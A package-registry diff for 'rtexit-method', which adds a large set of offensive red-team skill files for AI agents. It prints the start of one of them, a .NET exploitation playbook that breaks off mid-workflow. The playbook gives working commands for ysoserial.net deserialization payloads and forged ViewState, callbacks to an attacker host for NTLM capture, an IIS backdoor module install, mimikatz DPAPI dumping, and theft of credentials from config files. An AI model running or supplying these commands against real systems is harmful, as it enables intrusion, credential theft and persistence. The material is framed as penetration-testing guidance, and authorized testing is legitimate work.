rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,945 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-dotnet
|
|
3
|
+
description: ".NET and C# application exploitation skill. Covers .NET deserialization with ysoserial.net (BinaryFormatter, DataContractSerializer, Json.Net, LosFormatter), ViewState exploitation when MachineKey is known, LINQ injection, ASP.NET core path traversal, and IIS-specific misconfigurations. Targets ASP.NET MVC, .NET Core, WCF services."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-dotnet — .NET Application Exploitation
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
This skill covers offensive exploitation of the Microsoft .NET ecosystem, targeting ASP.NET MVC applications, .NET Core services, WCF endpoints, and IIS-hosted applications. The attack surface is broad and well-documented, with mature tooling available.
|
|
11
|
+
|
|
12
|
+
**Use this skill when you identify:**
|
|
13
|
+
- ASP.NET or .NET Core web applications (X-Powered-By, X-AspNet-Version headers, `.aspx`/`.asmx` endpoints)
|
|
14
|
+
- ViewState present in HTML source (base64 blob in `__VIEWSTATE` field)
|
|
15
|
+
- WCF WSDL endpoints (`?wsdl`, `?singleWsdl`)
|
|
16
|
+
- IIS as the web server (Server: Microsoft-IIS/x.x)
|
|
17
|
+
- JSON/XML APIs accepting serialized objects
|
|
18
|
+
- Error pages leaking stack traces with namespace hints
|
|
19
|
+
- Known MachineKey from leaked config files (`web.config`, `applicationHost.config`)
|
|
20
|
+
|
|
21
|
+
**Primary objectives:** Remote Code Execution (RCE), SSRF, file read, privilege escalation from IIS AppPool identity.
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 2. Prerequisites and Setup
|
|
26
|
+
|
|
27
|
+
### Required Tools
|
|
28
|
+
|
|
29
|
+
```bash
|
|
30
|
+
# ysoserial.net — primary .NET deserialization tool (Windows only)
|
|
31
|
+
# Download release binary from GitHub
|
|
32
|
+
https://github.com/pwntester/ysoserial.net/releases
|
|
33
|
+
|
|
34
|
+
# Alternatively, build from source (requires .NET Framework 4.5+)
|
|
35
|
+
git clone https://github.com/pwntester/ysoserial.net
|
|
36
|
+
cd ysoserial.net
|
|
37
|
+
msbuild ysoserial.sln /p:Configuration=Release
|
|
38
|
+
|
|
39
|
+
# ExploitDotNet — Python wrapper for ysoserial payloads
|
|
40
|
+
pip install pwntools requests
|
|
41
|
+
|
|
42
|
+
# ViewGen — ViewState MAC bypass / generation tool
|
|
43
|
+
git clone https://github.com/0xacb/viewgen
|
|
44
|
+
cd viewgen && pip install -r requirements.txt
|
|
45
|
+
|
|
46
|
+
# IIS ShortName Scanner
|
|
47
|
+
git clone https://github.com/irsdl/IIS-ShortName-Scanner
|
|
48
|
+
# Requires Java: java -jar iis_shortname_scanner.jar
|
|
49
|
+
|
|
50
|
+
# blacklist3r — MachineKey finder from patched/decompiled config
|
|
51
|
+
https://github.com/NotSoSecure/Blacklist3r
|
|
52
|
+
|
|
53
|
+
# dotnet-deserialization-detector (Burp extension)
|
|
54
|
+
# Load via Burp Extender > BApp Store
|
|
55
|
+
|
|
56
|
+
# Impacket for relay attacks post-RCE
|
|
57
|
+
pip install impacket
|
|
58
|
+
|
|
59
|
+
# PowerShell Empire / Covenant for .NET agent staging
|
|
60
|
+
# Covenant: https://github.com/cobbr/Covenant
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### Environment Requirements
|
|
64
|
+
|
|
65
|
+
| Requirement | Notes |
|
|
66
|
+
|---|---|
|
|
67
|
+
| Windows VM | ysoserial.net requires Windows or Mono |
|
|
68
|
+
| .NET Framework 4.5+ | For building/running ysoserial.net |
|
|
69
|
+
| Java 8+ | IIS ShortName Scanner |
|
|
70
|
+
| Python 3.8+ | viewgen, automation scripts |
|
|
71
|
+
| Burp Suite Pro | Repeater, Intruder, extensions |
|
|
72
|
+
| Network access to target | Direct or via SOCKS proxy |
|
|
73
|
+
|
|
74
|
+
### Reconnaissance Prerequisites
|
|
75
|
+
|
|
76
|
+
Before running exploits, confirm:
|
|
77
|
+
1. .NET version (from headers, error pages, Wappalyzer)
|
|
78
|
+
2. IIS version (Server header)
|
|
79
|
+
3. Application framework (MVC, Web Forms, Core, WCF)
|
|
80
|
+
4. Serialization format in use (binary, JSON, XML)
|
|
81
|
+
5. Whether debug mode is enabled (`?debug=true` or `customErrors="Off"`)
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## 3. Skill Levels
|
|
86
|
+
|
|
87
|
+
### BEGINNER — Enumeration and Identification
|
|
88
|
+
|
|
89
|
+
Goals: Confirm .NET target, identify attack surface, no exploitation yet.
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
# Identify .NET application via HTTP headers
|
|
93
|
+
curl -I https://target.com/
|
|
94
|
+
# Look for: X-Powered-By: ASP.NET, X-AspNet-Version, X-AspNetMvc-Version, Server: Microsoft-IIS
|
|
95
|
+
|
|
96
|
+
# Find ViewState in HTML source
|
|
97
|
+
curl -s https://target.com/login.aspx | grep -i "viewstate"
|
|
98
|
+
|
|
99
|
+
# Detect debug mode
|
|
100
|
+
curl -s "https://target.com/trace.axd"
|
|
101
|
+
curl -s "https://target.com/elmah.axd"
|
|
102
|
+
|
|
103
|
+
# Enumerate .NET-specific endpoints
|
|
104
|
+
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt \
|
|
105
|
+
-mc 200,301,302,401,403 -o dotnet_enum.json
|
|
106
|
+
|
|
107
|
+
# Detect WCF services
|
|
108
|
+
ffuf -u https://target.com/FUZZ.svc -w wordlist.txt -mc 200,400
|
|
109
|
+
|
|
110
|
+
# Check for exposed web.config (should be blocked by IIS but misconfigured servers)
|
|
111
|
+
curl -s https://target.com/web.config
|
|
112
|
+
curl -s https://target.com/.git/config
|
|
113
|
+
curl -s https://target.com/app_code/web.config
|
|
114
|
+
|
|
115
|
+
# Check global.asax for namespace hints
|
|
116
|
+
curl -s https://target.com/global.asax
|
|
117
|
+
|
|
118
|
+
# Wappalyzer equivalent via whatweb
|
|
119
|
+
whatweb -a 3 https://target.com
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
### INTERMEDIATE — ViewState and Configuration Attacks
|
|
123
|
+
|
|
124
|
+
Goals: Exploit ViewState with known MachineKey, extract credentials, enumerate IIS short filenames.
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# Step 1: Find MachineKey — search leaked configs, default keys databases
|
|
128
|
+
# Common default MachineKeys:
|
|
129
|
+
# - Kentico CMS
|
|
130
|
+
# - Umbraco
|
|
131
|
+
# - Sitefinity
|
|
132
|
+
# Check: https://github.com/NotSoSecure/Blacklist3r/blob/master/AspDotNetWrapper/AspDotNetWrapper/App_Data/MachineKeys.txt
|
|
133
|
+
|
|
134
|
+
# Step 2: Validate MachineKey with viewgen
|
|
135
|
+
python3 viewgen.py --check --key "validationkey_here" --algo SHA1 \
|
|
136
|
+
--modifier "CA0B0334" "BASE64_VIEWSTATE_FROM_APP=="
|
|
137
|
+
|
|
138
|
+
# Step 3: Generate malicious ViewState payload
|
|
139
|
+
python3 viewgen.py --webconfig web.config --command "ping attacker.com"
|
|
140
|
+
# Or with explicit key:
|
|
141
|
+
python3 viewgen.py --key "AAAAAAAAAAAAAAAA" --algo SHA1 --modifier "CA0B0334" \
|
|
142
|
+
--command "powershell -enc BASE64PAYLOAD"
|
|
143
|
+
|
|
144
|
+
# IIS Short Filename Enumeration (8.3 format)
|
|
145
|
+
java -jar iis_shortname_scanner.jar 2 20 https://target.com/
|
|
146
|
+
# Reveals files like: TRANSC~1.ASP, WEBCON~1.XML
|
|
147
|
+
|
|
148
|
+
# ASP.NET debug mode check — enables trace.axd
|
|
149
|
+
curl -s "https://target.com/trace.axd" | grep -i "request details"
|
|
150
|
+
|
|
151
|
+
# HTTP.sys path traversal (CVE-2021-31166 and others)
|
|
152
|
+
curl -v --path-as-is "https://target.com/./././././././././././windows/win.ini"
|
|
153
|
+
|
|
154
|
+
# Enumerate ASP.NET MVC routes via OPTIONS
|
|
155
|
+
curl -X OPTIONS https://target.com/api/values
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
### ADVANCED — Deserialization RCE
|
|
159
|
+
|
|
160
|
+
Goals: Achieve RCE via unsafe deserialization using ysoserial.net.
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
# Generate BinaryFormatter payload (most dangerous, commonly used in SOAP/Remoting)
|
|
164
|
+
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
|
|
165
|
+
-o base64 -c "cmd /c ping attacker.com"
|
|
166
|
+
|
|
167
|
+
# Generate Json.Net payload
|
|
168
|
+
.\ysoserial.exe -f Json.Net -g ObjectDataProvider \
|
|
169
|
+
-o raw -c "cmd /c whoami > C:\inetpub\wwwroot\out.txt"
|
|
170
|
+
|
|
171
|
+
# Generate DataContractSerializer payload
|
|
172
|
+
.\ysoserial.exe -f DataContractSerializer -g TypeConfuseDelegate \
|
|
173
|
+
-o base64 -c "powershell -enc <BASE64>"
|
|
174
|
+
|
|
175
|
+
# Generate LosFormatter payload (used in WebForms ViewState without MAC validation)
|
|
176
|
+
.\ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
|
|
177
|
+
-o base64 -c "cmd /c whoami"
|
|
178
|
+
|
|
179
|
+
# Generate SoapFormatter payload (WCF / legacy)
|
|
180
|
+
.\ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate \
|
|
181
|
+
-o raw -c "cmd /c calc.exe"
|
|
182
|
+
|
|
183
|
+
# Generate ViewState exploit payload with MachineKey
|
|
184
|
+
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties \
|
|
185
|
+
-o base64 -c "cmd /c whoami" \
|
|
186
|
+
--validationalg="SHA1" \
|
|
187
|
+
--validationkey="YOUR_VALIDATIONKEY_HEX" \
|
|
188
|
+
--generator="CA0B0334" \
|
|
189
|
+
--viewstateuserkey="" \
|
|
190
|
+
--isdebug=false
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
### EXPERT — Chained Attacks and Persistence
|
|
194
|
+
|
|
195
|
+
Goals: Full compromise, lateral movement, persistence via IIS modules, DPAPI secrets extraction.
|
|
196
|
+
|
|
197
|
+
```bash
|
|
198
|
+
# IIS native module backdoor (requires admin, for persistence)
|
|
199
|
+
# Compile malicious native IIS module then:
|
|
200
|
+
appcmd install module /name:BackdoorModule /image:C:\path\to\backdoor.dll
|
|
201
|
+
|
|
202
|
+
# Extract DPAPI machine secrets from IIS AppPool context
|
|
203
|
+
# After RCE as IIS AppPool identity:
|
|
204
|
+
mimikatz # privilege::debug
|
|
205
|
+
mimikatz # sekurlsa::dpapi
|
|
206
|
+
mimikatz # dpapi::cng
|
|
207
|
+
|
|
208
|
+
# NTLM relay from IIS AppPool (if running as Network Service)
|
|
209
|
+
# Trigger outbound connection from server:
|
|
210
|
+
# Use RCE to run: net use \\attacker.com\share
|
|
211
|
+
# On attacker: responder -I eth0 -rdwv
|
|
212
|
+
|
|
213
|
+
# Constrained delegation abuse if IIS service account has delegation rights
|
|
214
|
+
python3 getST.py -spn http/target.com -impersonate Administrator domain/svcaccount:password
|
|
215
|
+
|
|
216
|
+
# Extract connection strings from web.config post-RCE
|
|
217
|
+
type C:\inetpub\wwwroot\web.config | findstr /i "connectionstring password"
|
|
218
|
+
|
|
219
|
+
# Dump IIS application pool credentials
|
|
220
|
+
appcmd list apppool /processModel.userName /processModel.password /text:*
|
|
221
|
+
|
|
222
|
+
# ASP.NET Core appsettings.json secrets
|
|
223
|
+
type C:\inetpub\wwwroot\appsettings.json
|
|
224
|
+
type C:\inetpub\wwwroot\appsettings.Production.json
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## 4. Step-by-Step Workflow
|
|
230
|
+
|
|
231
|
+
### Phase 1: Fingerprinting
|
|
232
|
+
|
|
233
|
+
1. Send initial request, capture response headers
|
|
234
|
+
2. Note: `Server`, `X-Powered-By`, `X-AspNet-Version`, `X-AspNetMvc-Version`
|
|
235
|
+
3. Check HTML source for `__VIEWSTATE`, `__EVENTVALIDATION`, `__VIEWSTATEGENERATOR`
|
|
236
|
+
4. Spider application for `.aspx`, `.asmx`, `.svc`, `.ashx` endpoints
|
|
237
|
+
5. Submit 404 for a non-existent `.aspx` to get IIS error page (reveals version)
|
|
238
|
+
6. Check `robots.txt`, `sitemap.xml`, `/swagger`, `/api/docs`
|
|
239
|
+
|
|
240
|
+
### Phase 2: Configuration Leak Hunting
|
|
241
|
+
|
|
242
|
+
7. Attempt access to `web.config`, `applicationHost.config`, `machine.config`
|
|
243
|
+
8. Check common backup paths: `web.config.bak`, `web.config.old`, `web.config~`
|
|
244
|
+
9. Search GitHub/GitLab for leaked configs using dorks:
|
|
